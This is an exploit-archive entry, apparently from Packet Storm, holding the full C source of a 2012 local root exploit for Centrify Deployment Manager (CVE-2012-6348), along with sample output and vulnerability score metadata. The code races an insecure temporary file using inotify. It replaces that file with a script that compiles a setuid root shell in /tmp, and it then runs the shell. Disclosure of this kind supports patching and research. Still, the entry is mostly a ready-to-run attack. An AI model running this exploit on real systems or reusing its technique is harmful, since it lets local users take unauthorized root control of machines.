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packetstormLarry W. CashdollarPACKETSTORM:118928
HistoryDec 18, 2012 - 12:00 a.m.

Centrify Deployment Manager 2.1.0.283 Local Root

2012-12-1800:00:00
Larry W. Cashdollar
packetstormsecurity.com
17

0.0004 Low

EPSS

Percentile

5.1%

`/*Local root exploit for Centrify Deployment Manager v2.1.0.283 local root,  
Centrify released a fix very quickly - nice vendor response.  
  
CVE-2012-6348 12/17/2012  
http://vapid.dhs.org/advisories/centrify_deployment_manager_insecure_tmp2.html  
Greetings vladz, Thanks for the inotify & syscall technique.  
  
This exploit based on http://vladz.devzero.fr/010_bzexe-vuln.php  
  
Run the exploit and wait for administrator to analyse or deploysoftware  
to the system.  
  
larry@h0g:~/code/exploit$ ./cent_root centrify.cmd.0  
[*] Launching attack against "centrify.cmd.0"  
[+] Creating evil script (/tmp/evil)  
[+] Creating target file (/bin/touch /tmp/centrify.cmd.0)  
[+] Initialize inotify  
[+] Waiting for root to launch "centrify.cmd.0"  
[+] Opening root shell (/tmp/sh)  
#   
  
Larry W. Cashdollar  
@_larry0  
*/  
  
  
#include <stdlib.h>  
#include <stdio.h>  
#include <unistd.h>  
#include <sys/stat.h>  
#include <sys/types.h>  
#include <string.h>  
#include <sys/inotify.h>  
#include <fcntl.h>  
#include <sys/syscall.h>  
  
/*Create a small c program to pop us a root shell*/  
int create_nasty_shell(char *file) {  
char *s = "#!/bin/bash\n"  
"echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n"  
"cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n"  
"chmod 4755 /tmp/sh;\n";  
  
int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO);  
write(fd, s, strlen(s));  
close(fd);  
  
return 0;  
}  
  
  
int main(int argc, char **argv) {  
int fd, wd;  
char buf[1], *targetpath, *cmd,  
*evilsh = "/tmp/evil", *trash = "/tmp/trash";  
  
if (argc < 2) {  
printf("Usage: %s <target file> \n", argv[0]);  
return 1;  
}  
  
printf("[*] Launching attack against \"%s\"\n", argv[1]);  
  
printf("[+] Creating evil script (/tmp/evil)\n");  
create_nasty_shell(evilsh);  
  
targetpath = malloc(sizeof(argv[1]) + 6);  
cmd = malloc(sizeof(char) * 32);  
sprintf(targetpath, "/tmp/%s", argv[1]);  
sprintf(cmd,"/bin/touch %s",targetpath);  
printf("[+] Creating target file (%s)\n",cmd);  
system(cmd);  
  
printf("[+] Initialize inotify\n");  
fd = inotify_init();  
wd = inotify_add_watch(fd, targetpath, IN_ATTRIB);  
  
printf("[+] Waiting for root to change perms on \"%s\"\n", argv[1]);  
syscall(SYS_read, fd, buf, 1);  
syscall(SYS_rename, targetpath, trash);  
syscall(SYS_rename, evilsh, targetpath);  
  
inotify_rm_watch(fd, wd);  
  
printf("[+] Opening root shell (/tmp/sh)\n");  
sleep(2);  
system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\"");  
  
return 0;  
}  
`

0.0004 Low

EPSS

Percentile

5.1%

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